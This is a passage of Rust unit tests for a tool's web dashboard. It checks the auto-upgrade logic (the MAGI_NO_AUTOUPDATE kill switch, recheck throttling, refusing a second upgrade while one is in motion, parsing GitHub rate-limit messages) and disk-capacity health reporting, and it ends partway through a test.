23744        let home = TempDir::new().expect("temp home");
23745        let talks = Talks::at(home.path().join("talks"));
23746        let ui = Ui::new(
23747            Queue::at(home.path().join("queue")),
23748            Questions::at(home.path().join("questions")),
23749            talks.clone(),
23750            home.path().join("runs"),
23751            home.path().to_path_buf(),
23752            PathBuf::from("/repo"),
23753        )
23754        .with_worktrees_root(home.path().join("wt"));
23755        let id = "20260901-000000-order";
23756        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23757        // Hold the slot mutex so the drop can finish the lease but not the slot.
23758        let slots = ui.talk_turns.lock().unwrap();
23759        let dropper = std::thread::spawn(move || drop(turn));
23760        let start = std::time::Instant::now();
23761        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23762            std::thread::sleep(Duration::from_millis(5));
23763        }
23764        assert!(!talks.turn_held(id), "the lease is released first");
23765        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23766        drop(slots);
23767        dropper.join().expect("join");
23768        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23769    }
23770
23771    #[tokio::test]
23772    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23773        let fx = Fixture::start().await;
23774        let mut beat = crate::daemon::Status::new();
23775        beat.worker_protocol = None;
23776        beat.pid = 4321;
23777        beat.updated_at = jiff::Timestamp::now();
23778        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23779            .expect("publish a heartbeat");
23780
23781        let res = fx.post("/api/upgrade", None).await;
23782        assert_eq!(res.status, 409);
23783    }
23784
23785    /// [`should_spawn_recheck`] must refuse for the same two reasons
23786    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23787    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23788    /// Purely a predicate over config and the environment - no network, no
23789    /// disk, no runtime - so unlike the fixture-based tests around it this
23790    /// one needs neither.
23791    #[test]
23792    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23793        assert!(!should_spawn_recheck(&crate::config::Update {
23794            mode: UpdateMode::Off,
23795            interval: None,
23796            auto_restart: false,
23797        }));
23798
23799        // SAFETY: single-threaded as far as this variable goes, the same
23800        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23801        unsafe {
23802            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23803        }
23804        let killed = should_spawn_recheck(&crate::config::Update {
23805            mode: UpdateMode::Notify,
23806            interval: None,
23807            auto_restart: false,
23808        });
23809        unsafe {
23810            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23811        }
23812        assert!(
23813            !killed,
23814            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23815             one-time startup check"
23816        );
23817
23818        assert!(should_spawn_recheck(&crate::config::Update {
23819            mode: UpdateMode::Notify,
23820            interval: None,
23821            auto_restart: false,
23822        }));
23823    }
23824
23825    /// [`recheck_poll_period`] must track a configured `[update] interval`
23826    /// shorter than its own default ceiling - a fixed sleep here would leave
23827    /// an operator's short interval waiting on the next wake-up instead of on
23828    /// `should_check`, which is the same bug this whole task exists to fix,
23829    /// just one level down.
23830    #[test]
23831    fn recheck_poll_period_tracks_a_short_configured_interval() {
23832        let short = crate::config::Update {
23833            mode: UpdateMode::Notify,
23834            interval: Some("1m".to_owned()),
23835            auto_restart: false,
23836        };
23837        let period = recheck_poll_period(&short);
23838        assert!(
23839            period <= Duration::from_secs(30),
23840            "a one-minute interval must wake the task far sooner than the \
23841             default ceiling, or the deck would not notice within the \
23842             interval the operator configured: got {period:?}"
23843        );
23844
23845        let default = crate::config::Update {
23846            mode: UpdateMode::Notify,
23847            interval: None,
23848            auto_restart: false,
23849        };
23850        assert_eq!(
23851            recheck_poll_period(&default),
23852            UPDATE_RECHECK_POLL_MAX,
23853            "the default day-long interval should poll at the (capped) \
23854             ceiling rather than needlessly often"
23855        );
23856    }
23857
23858    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23859    /// same throttle `updater::Checker::should_check` already gives the
23860    /// CLI's notify mode. Built over an explicit state file via
23861    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23862    /// write the operator's real `last_update_check.json` - and therefore
23863    /// cannot flake on whatever that file happens to say on the machine
23864    /// running the test.
23865    #[test]
23866    fn recheck_skips_the_network_before_the_interval_elapses() {
23867        let dir = TempDir::new().expect("temp dir");
23868        let path = dir.path().join("state.json");
23869        let state = kaishin::UpdateCheckState {
23870            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23871            last_known_latest: None,
23872            last_known_url: None,
23873        };
23874        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23875
23876        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23877        assert!(
23878            !update_recheck_due(&checker, None),
23879            "a check made moments ago must not be repeated before the \
23880             configured interval elapses"
23881        );
23882    }
23883
23884    /// An upgrade this deck already started must not be raced by a recheck
23885    /// that discovers a newer release mid-install - regardless of what
23886    /// `should_check` says, which is why the state file here is missing
23887    /// entirely: read alone, that alone would answer "never checked, go
23888    /// ahead".
23889    #[test]
23890    fn recheck_defers_to_an_upgrade_already_in_flight() {
23891        let dir = TempDir::new().expect("temp dir");
23892        let path = dir.path().join("state.json");
23893        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23894        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23895
23896        assert!(
23897            !update_recheck_due(&checker, Some(&progress)),
23898            "a recheck must not run while an upgrade this deck started is \
23899             still moving"
23900        );
23901    }
23902
23903    #[tokio::test]
23904    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23905        // The same env var the background check honours (`disabled_by_env`)
23906        // must also stop a button press before it ever calls
23907        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23908        // means "never contact GitHub from this process", and a tap on the
23909        // upgrade button must not override that any more than a broken
23910        // `magi.toml` may. Left unset, this fixture's default config would
23911        // otherwise reach a real, unauthenticated GitHub call.
23912        //
23913        // SAFETY: single-threaded as far as this variable goes - nothing else
23914        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23915        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23916        unsafe {
23917            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23918        }
23919        let fx = Fixture::start().await;
23920        let res = fx.post("/api/upgrade", None).await;
23921        unsafe {
23922            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23923        }
23924        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23925        let body = res.json();
23926        assert!(body["to"].is_null(), "there was no release to move to");
23927        assert!(body["parked"].is_null(), "and nothing was parked");
23928        assert!(
23929            body["detail"]
23930                .as_str()
23931                .unwrap()
23932                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23933            "{body:?}"
23934        );
23935    }
23936
23937    #[test]
23938    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23939        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23940        let mut cfg = Update::default();
23941        assert!(matches!(
23942            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23943            Skip(_)
23944        ));
23945        cfg.auto_restart = true;
23946        assert_eq!(
23947            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23948            Trigger
23949        );
23950        assert_eq!(
23951            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23952            Wait
23953        );
23954        for (disabled, moving, failed) in [
23955            (true, false, None),
23956            (false, true, None),
23957            (false, false, Some("v2")),
23958        ] {
23959            assert!(matches!(
23960                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23961                Skip(_)
23962            ));
23963        }
23964        assert_eq!(
23965            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23966            Trigger
23967        );
23968        cfg.mode = UpdateMode::Off;
23969        assert!(matches!(
23970            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23971            Skip(_)
23972        ));
23973    }
23974
23975    #[test]
23976    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23977        let home = TempDir::new().unwrap();
23978        let ui = idle_ui(&home);
23979        assert!(!ui.auto_upgrade_busy());
23980        let directory = home.path().join("workers/jobs/abcdef");
23981        std::fs::create_dir_all(&directory).unwrap();
23982        let mut job = crate::worker::Job {
23983            id: "abcdef".into(),
23984            sequence: 1,
23985            kind: "scheduler".into(),
23986            key: "scheduler".into(),
23987            payload: serde_json::json!({}),
23988            generation: "test".into(),
23989            version: None,
23990            status: crate::worker::Status::Running,
23991            result: None,
23992            pid: None,
23993            created_at: 0,
23994            finished_at: None,
23995        };
23996        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23997        let write = |job: &crate::worker::Job| {
23998            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23999        };
24000        write(&job);
24001        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
24002        for kind in ["task", "chat"] {
24003            job.kind = kind.into();
24004            write(&job);
24005            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
24006        }
24007        drop(lease);
24008        // Lease::drop explicitly unlocks even if a concurrent fork inherited
24009        // the descriptor. Check the real decision directly: a raw flock probe
24010        // here could itself be inherited and keep the worker looking busy.
24011        assert!(
24012            !ui.auto_upgrade_busy(),
24013            "completed execution permits updates"
24014        );
24015        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
24016        assert!(
24017            ui.auto_upgrade_busy(),
24018            "unreadable worker state defers updates"
24019        );
24020    }
24021
24022    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24023        Box::pin(async { anyhow::bail!("test installer failed") })
24024    }
24025
24026    #[tokio::test]
24027    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
24028        let home = TempDir::new().unwrap();
24029        std::fs::write(
24030            home.path().join("magi.toml"),
24031            "[update]\nauto_restart = true\n",
24032        )
24033        .unwrap();
24034        let mut ui = idle_ui(&home);
24035        ui.repo = home.path().to_path_buf();
24036        // Every successful trigger in this test uses this seam, never the installer.
24037        ui.upgrade_runner = fail_test_upgrade;
24038        let ui = Arc::new(ui);
24039        let latest = || {
24040            Some(kaishin::LatestRelease {
24041                tag_name: "v999.0.0".into(),
24042                html_url: String::new(),
24043            })
24044        };
24045        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24046        assert_eq!(
24047            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24048                .await
24049                .status(),
24050            StatusCode::NO_CONTENT
24051        );
24052        assert!(updater::read_progress(home.path()).is_none());
24053        ui.talk_turns.lock().unwrap().live.clear();
24054        let gate = ui.upgrade_gate.lock().await;
24055        assert_eq!(
24056            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24057                .await
24058                .status(),
24059            StatusCode::CONFLICT
24060        );
24061        drop(gate);
24062        assert_eq!(
24063            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24064                .await
24065                .status(),
24066            StatusCode::ACCEPTED
24067        );
24068        let progress = updater::read_progress(home.path()).unwrap();
24069        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24070        assert_eq!(progress.stage, updater::Stage::Downloading);
24071        assert!(progress.parked_run.is_none());
24072        assert!(ui.start_detached_loop().await.is_err());
24073        assert!(ui.start_loop(None).is_err());
24074        assert!(ui.begin_resume("late").is_err());
24075        tokio::time::timeout(Duration::from_secs(2), async {
24076            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24077                tokio::task::yield_now().await;
24078            }
24079        })
24080        .await
24081        .unwrap();
24082        let progress = updater::read_progress(home.path()).unwrap();
24083        assert_eq!(progress.stage, updater::Stage::Failed);
24084        assert_eq!(
24085            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24086                .await
24087                .status(),
24088            StatusCode::NO_CONTENT
24089        );
24090        // The manual shared path records the same progress and runs the same seam.
24091        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
24092        assert_eq!(
24093            finish_upgrade_request(&ui, result).status(),
24094            StatusCode::ACCEPTED
24095        );
24096        assert_eq!(
24097            updater::read_progress(home.path()).unwrap().trigger,
24098            updater::UpgradeTrigger::Manual
24099        );
24100        tokio::time::timeout(Duration::from_secs(2), async {
24101            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24102                tokio::task::yield_now().await;
24103            }
24104        })
24105        .await
24106        .unwrap();
24107    }
24108
24109    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24110        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24111        p.stage = stage;
24112        p
24113    }
24114
24115    #[test]
24116    fn busy_stages_match_the_ui_set() {
24117        use crate::updater::Stage;
24118        assert!(APP_JS.contains(
24119            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24120        ));
24121        for s in [
24122            Stage::Downloading,
24123            Stage::Replaced,
24124            Stage::Parking,
24125            Stage::Restarting,
24126        ] {
24127            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24128        }
24129        for s in [Stage::Done, Stage::Failed] {
24130            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24131        }
24132        assert!(upgrade_in_motion(None).is_none());
24133    }
24134
24135    #[tokio::test]
24136    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24137        use crate::updater::Stage;
24138        for stage in [
24139            Stage::Downloading,
24140            Stage::Replaced,
24141            Stage::Parking,
24142            Stage::Restarting,
24143        ] {
24144            let fx = Fixture::start().await;
24145            let seeded = seeded_progress(stage);
24146            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24147            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24148                .expect("read");
24149
24150            let res = fx.post("/api/upgrade", None).await;
24151            assert_eq!(res.status, 409, "{stage:?}");
24152            let err = res.json()["error"].as_str().unwrap().to_owned();
24153            assert!(err.contains("already in progress"), "{err}");
24154            assert!(err.contains(stage.as_str()), "{err}");
24155
24156            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24157                .expect("read");
24158            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24159            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24160                .unwrap_or_default();
24161            assert!(!log.contains("signalling HANDOVER"), "{log}");
24162        }
24163    }
24164
24165    #[test]
24166    fn upgrade_retry_timing_only_parses_known_diagnostics() {
24167        assert_eq!(
24168            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24169            Some(3723)
24170        );
24171        assert_eq!(
24172            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
24173            Some(60)
24174        );
24175        assert_eq!(
24176            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24177            Some(0)
24178        );
24179        for message in [
24180            "permission denied",
24181            "GitHub API rate limit exceeded",
24182            "GitHub rate limit (resets in unknown)",
24183            "GitHub rate limit (resets in 18446744073709551615d)",
24184        ] {
24185            assert_eq!(upgrade_retry_after(message), None, "{message}");
24186        }
24187    }
24188
24189    #[tokio::test]
24190    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24191        let home = TempDir::new().unwrap();
24192        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24193        ui.start_loop(None).unwrap();
24194        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24195        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24196        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24197        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24198        let response = finish_upgrade_request(&ui, result);
24199        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24200        assert_eq!(response.headers()["retry-after"], "120");
24201        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24202            .await
24203            .unwrap();
24204        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24205        assert!(body["error"].as_str().unwrap().contains(reason));
24206        assert_eq!(body["retry_after_secs"], 120);
24207        assert!(body["retry_at"].as_u64().is_some());
24208        for _ in 0..2 {
24209            let view = health(State(ui.clone())).await.unwrap().0;
24210            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24211            assert_eq!(failure, body);
24212        }
24213        assert_eq!(
24214            std::fs::read(updater::progress_path(home.path())).unwrap(),
24215            before
24216        );
24217        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24218        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24219        // A conflicting request must not erase the actionable earlier failure.
24220        let gate = ui.upgrade_gate.lock().await;
24221        assert_eq!(
24222            upgrade_post(State(ui.clone())).await.status(),
24223            StatusCode::CONFLICT
24224        );
24225        drop(gate);
24226        assert!(
24227            health(State(ui.clone()))
24228                .await
24229                .unwrap()
24230                .0
24231                .upgrade_request_error
24232                .is_some()
24233        );
24234        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
24235        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
24236        assert!(
24237            health(State(ui.clone()))
24238                .await
24239                .unwrap()
24240                .0
24241                .upgrade_request_error
24242                .is_none()
24243        );
24244        let live = ui.lock_loop().live.take().unwrap();
24245        live.stop.stop();
24246        live.handle.await.unwrap();
24247    }
24248
24249    #[tokio::test]
24250    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
24251        use crate::updater::Stage;
24252        let repo = TempDir::new().expect("repo dir");
24253        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24254            .expect("write magi.toml");
24255        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24256        for stage in [Stage::Done, Stage::Failed] {
24257            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
24258            let res = fx.post("/api/upgrade", None).await;
24259            assert_eq!(res.status, 200, "{stage:?}");
24260        }
24261        // No record at all, and the gate was released by the earlier calls.
24262        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
24263        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
24264    }
24265
24266    #[tokio::test]
24267    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
24268        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
24269        // and the route answers from its own logic.
24270        //
24271        // This test used to lean on the fixture's placeholder repo failing
24272        // config discovery, which left `mode = "notify"` - and a live,
24273        // unauthenticated call to the GitHub releases API inside a unit test.
24274        // GitHub allows 60 of those an hour per address, so the suite went red
24275        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
24276        // long as somebody kept re-running it: every attempt spent another
24277        // request. Six reruns across four pull requests were charged to that
24278        // before it was read as a rate limit rather than a flake.
24279        //
24280        // What the assertion is about is the "already current" branch, which
24281        // is reached by there being no newer release *or* nowhere to look. The
24282        // second one needs no network and cannot be rate limited.
24283        let repo = TempDir::new().expect("repo dir");
24284        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24285            .expect("write magi.toml");
24286        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24287
24288        // It must answer 200 and leave the process alone: restarting for an
24289        // upgrade that did not happen parks the run in flight and drops every
24290        // connection to pay for nothing. A probe against a deck already on the
24291        // newest build did exactly that, which is how this case got its own
24292        // branch.
24293        let res = fx.post("/api/upgrade", None).await;
24294        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24295        let body = res.json();
24296        assert!(body["to"].is_null(), "there was no release to move to");
24297        assert!(body["parked"].is_null(), "and nothing was parked");
24298        assert!(
24299            body["detail"]
24300                .as_str()
24301                .unwrap()
24302                .contains("nothing restarted"),
24303            "{body:?}"
24304        );
24305    }
24306
24307    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24308        tokio::time::timeout(Duration::from_secs(5), async {
24309            while state.lock().unwrap().in_flight {
24310                tokio::task::yield_now().await;
24311            }
24312        })
24313        .await
24314        .expect("capacity scan finished");
24315    }
24316
24317    fn disk_test_scope(home: &FsPath) -> DiskScope {
24318        DiskScope {
24319            runs: home.join("runs"),
24320            worktrees: home.join("worktrees"),
24321            cache: Some(home.join("cache")),
24322        }
24323    }
24324
24325    fn known_disk_capacity() -> DiskCapacity {
24326        DiskCapacity {
24327            free_bytes: Some(100),
24328            runs_bytes: Some(200),
24329            worktrees_bytes: Some(300),
24330            cache_bytes: Some(400),
24331        }
24332    }
24333
24334    #[tokio::test]
24335    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24336        let home = TempDir::new().unwrap();
24337        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24338        let mut ui = delta_test_ui(home.path());
24339        let state = Arc::get_mut(&mut ui).unwrap();
24340        state.repo = home.path().to_owned();
24341        state.worktrees_root = home.path().join("worktrees");
24342        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24343        ui.monitor
24344            .worker_started
24345            .store(true, std::sync::atomic::Ordering::SeqCst);
24346        let cfg = deputy_config(&ui.repo);
24347        let scope = DiskScope::of(&ui, cfg.as_ref());
24348        let (started, reached) = tokio::sync::oneshot::channel();
24349        let (release, blocked) = std::sync::mpsc::channel();
24350        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24351            started.send(()).unwrap();
24352            // A failed request assertion must also let the blocking worker exit.
24353            let _ = blocked.recv();
24354            known_disk_capacity()
24355        });
24356        assert!(cold.runs_bytes.is_none());
24357        tokio::time::timeout(Duration::from_secs(5), reached)
24358            .await
24359            .unwrap()
24360            .unwrap();
24361
24362        let requests: Vec<_> = (0..4)
24363            .map(|_| {
24364                let ui = ui.clone();
24365                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24366            })
24367            .collect();
24368        // This is a causal independence check, not a five-second latency
24369        // benchmark. Leave room for unrelated filesystem/thread contention
24370        // when the entire unit suite runs concurrently.
24371        let completed = tokio::time::timeout(Duration::from_secs(60), async {
24372            for request in requests {
24373                let view = request.await.unwrap();
24374                let disk = serde_json::to_value(view.disk).unwrap();
24375                assert!(disk["runs_bytes"].is_null());
24376                assert!(disk["worktrees_bytes"].is_null());
24377                // Free space is a cheap live observation even while the
24378                // recursive capacity measurement remains blocked.
24379                assert!(disk["free_bytes"].is_u64());
24380            }
24381        })
24382        .await;
24383        if completed.is_err() {
24384            release.send(()).unwrap();
24385            wait_for_disk_scan(&ui.monitor.disk).await;
24386            panic!("health must return while the measurement is causally blocked");
24387        }
24388        assert!(ui.monitor.disk.lock().unwrap().in_flight);
24389        // No competing worker can have published while the first holds flight.
24390        assert!(
24391            ui.monitor
24392                .disk
24393                .lock()
24394                .unwrap()
24395                .capacity
24396                .runs_bytes
24397                .is_none()
24398        );
24399        release.send(()).unwrap();
24400        wait_for_disk_scan(&ui.monitor.disk).await;
24401        assert_eq!(
24402            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24403            Some(200)
24404        );
24405    }
24406
24407    #[tokio::test]
24408    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24409        let home = TempDir::new().unwrap();
24410        let scope = disk_test_scope(home.path());
24411        let state = Arc::new(Mutex::new(DiskObservation {
24412            scope: Some(scope.clone()),
24413            capacity: known_disk_capacity(),
24414            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24415            ..Default::default()
24416        }));
24417        let (started, reached) = tokio::sync::oneshot::channel();
24418        let (release, blocked) = std::sync::mpsc::channel();
24419        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24420            started.send(()).unwrap();
24421            blocked.recv().unwrap();
24422            DiskCapacity {
24423                runs_bytes: Some(250),
24424                ..Default::default()
24425            }
24426        });
24427        assert_eq!(before.cache_bytes, Some(400));
24428        tokio::time::timeout(Duration::from_secs(5), reached)
24429            .await
24430            .unwrap()
24431            .unwrap();
24432        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24433        for _ in 0..4 {
24434            let scans = duplicate_scans.clone();
24435            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24436                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24437                DiskCapacity::default()
24438            });
24439            assert_eq!(during.runs_bytes, Some(200));
24440            assert_eq!(during.cache_bytes, Some(400));
24441        }
24442        release.send(()).unwrap();
24443        wait_for_disk_scan(&state).await;
24444        let scans = duplicate_scans.clone();
24445        let after = DiskObservation::observe(&state, scope, move |_| {
24446            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24447            DiskCapacity::default()
24448        });
24449        wait_for_disk_scan(&state).await;
24450        assert_eq!(after.runs_bytes, Some(250));
24451        assert_eq!(after.free_bytes, Some(100));
24452        assert_eq!(after.cache_bytes, Some(400));
24453        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24454        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24455    }
24456
24457    #[tokio::test]
24458    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24459        let home = TempDir::new().unwrap();
24460        let old_scope = disk_test_scope(home.path());
24461        let mut new_scope = old_scope.clone();
24462        new_scope.cache = Some(home.path().join("replacement-cache"));
24463        let state = Arc::new(Mutex::new(DiskObservation {
24464            scope: Some(old_scope.clone()),
24465            capacity: known_disk_capacity(),
24466            ..Default::default()
24467        }));
24468        let (started, reached) = tokio::sync::oneshot::channel();
24469        let (release, blocked) = std::sync::mpsc::channel();
24470        DiskObservation::observe(&state, old_scope, move |_| {
24471            started.send(()).unwrap();
24472            blocked.recv().unwrap();
24473            known_disk_capacity()
24474        });
24475        tokio::time::timeout(Duration::from_secs(5), reached)
24476            .await
24477            .unwrap()
24478            .unwrap();
24479        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24480        let scans = duplicate_scans.clone();
24481        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24482            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24483            DiskCapacity::default()
24484        });
24485        assert!(changed.cache_bytes.is_none());
24486        assert!(changed.runs_bytes.is_none());
24487        release.send(()).unwrap();
24488        wait_for_disk_scan(&state).await;
24489        {
24490            let observation = state.lock().unwrap();
24491            assert!(observation.capacity.cache_bytes.is_none());
24492            assert!(observation.finished.is_none());
24493        }
24494        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24495            assert_eq!(scope, &new_scope);
24496            DiskCapacity {
24497                cache_bytes: Some(999),
24498                ..Default::default()
24499            }
24500        });
24501        wait_for_disk_scan(&state).await;
24502        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24503        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24504    }
24505
24506    #[tokio::test]
24507    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24508        let home = TempDir::new().unwrap();
24509        let scope = disk_test_scope(home.path());
24510        let state = Arc::new(Mutex::new(DiskObservation {
24511            scope: Some(scope.clone()),
24512            capacity: known_disk_capacity(),
24513            ..Default::default()
24514        }));
24515        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24516        wait_for_disk_scan(&state).await;
24517        {
24518            let mut observation = state.lock().unwrap();
24519            assert_eq!(observation.capacity.cache_bytes, Some(400));
24520            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24521            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24522        }
24523        DiskObservation::observe(&state, scope, |_| DiskCapacity {
24524            cache_bytes: Some(450),
24525            ..Default::default()
24526        });
24527        wait_for_disk_scan(&state).await;
24528        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24529    }
24530
24531    #[test]
24532    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24533        let home = TempDir::new().unwrap();
24534        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24535        assert_eq!(disk_capacity_size(home.path()), Some(0));
24536        std::fs::create_dir(home.path().join("nested")).unwrap();
24537        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24538        assert_eq!(disk_capacity_size(home.path()), Some(5));
24539        #[cfg(unix)]
24540        {
24541            // Unix distinguishes an invalid descendant lookup from absence.
24542            assert_eq!(
24543                disk_capacity_size(&home.path().join("nested/data/child")),
24544                None
24545            );
24546        }
24547        #[cfg(unix)]
24548        {
24549            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24550            assert_eq!(disk_capacity_size(home.path()), Some(5));
24551        }
24552    }
24553
24554    #[tokio::test]
24555    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24556        // `mode = "off"` for the same reason as the test above: a default
24557        // fixture repo falls back to `mode = "notify"`, which would make this
24558        // route's new `update` field a live, unauthenticated GitHub call on
24559        // every assertion in this suite that happens to hit `/api/health`.
24560        let repo = TempDir::new().expect("repo dir");
24561        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24562            .expect("write magi.toml");
24563        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24564
24565        let health = fx.get("/api/health").await.json();
24566        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24567        assert_eq!(
24568            health["update"]["available"], false,
24569            "checking is off, which reads as \"unknown\", not \"none\""
24570        );
24571        assert!(health["update"]["to"].is_null());
24572        assert!(
24573            health["upgrade"].is_null(),
24574            "nothing has ever asked this deck to upgrade"
24575        );
24576    }
24577
24578    #[tokio::test]
24579    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
